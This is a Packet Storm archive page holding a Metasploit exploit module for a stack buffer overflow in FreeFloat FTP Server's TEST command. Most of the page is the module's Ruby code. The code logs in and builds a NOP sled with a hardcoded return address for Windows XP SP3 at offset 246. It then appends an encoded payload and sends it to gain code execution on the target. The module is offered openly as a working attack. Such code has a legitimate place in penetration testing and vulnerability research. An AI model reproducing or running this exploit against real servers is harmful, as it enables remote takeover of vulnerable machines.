exploit the possibilities

FreeFloat FTP Server TEST Buffer Overflow

FreeFloat FTP Server TEST Buffer Overflow
Posted Mar 15, 2012
Authored by KaHPeSeSe | Site metasploit.com

This Metasploit module exploits a FreeFloat FTP Server Buffer Overflow found in the TEST command.

tags | exploit, overflow
MD5 | a64d07d78b60626d40fec415601c8fb2

FreeFloat FTP Server TEST Buffer Overflow

Change Mirror Download
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeFloat FTP Server TEST Buffer Overflow',
'Description' => %q{
This module exploits a FreeFloat FTP Server Buffer Overflow
found in the TEST command.
},
'Author' => [
'KaHPeSeSe' #Found bug and wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 14774 $",
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17546' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17548' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17550' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'PERFECT XP PC1 / SP3 # jmp esp',
{
'Ret' => 0x7C86467B, # findjmp KERNEL32.DLL ESP 0x7C86467B jmp ESP
'Offset' => 246
}
],

[ 'PERFECT XP PC1 / SP3 # push esp - ret',
{
'Ret' => 0x7C909DB0, # findjmp KERNEL32.DLL ESP 0x7C909DB0 push esp - ret
'Offset' => 246
}
],
],
'DisclosureDate' => 'March 13 2012',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'test']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'test'])
], self.class )
end

def exploit
connect_login
print_status("Trying target #{target.name}...")
buf = make_nops(target['Offset']) + [target.ret].pack('V')
buf << make_nops(20)
buf << payload.encoded
send_cmd( ['TEST', buf] , false ) #TEST command
handler
disconnect
end
end
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close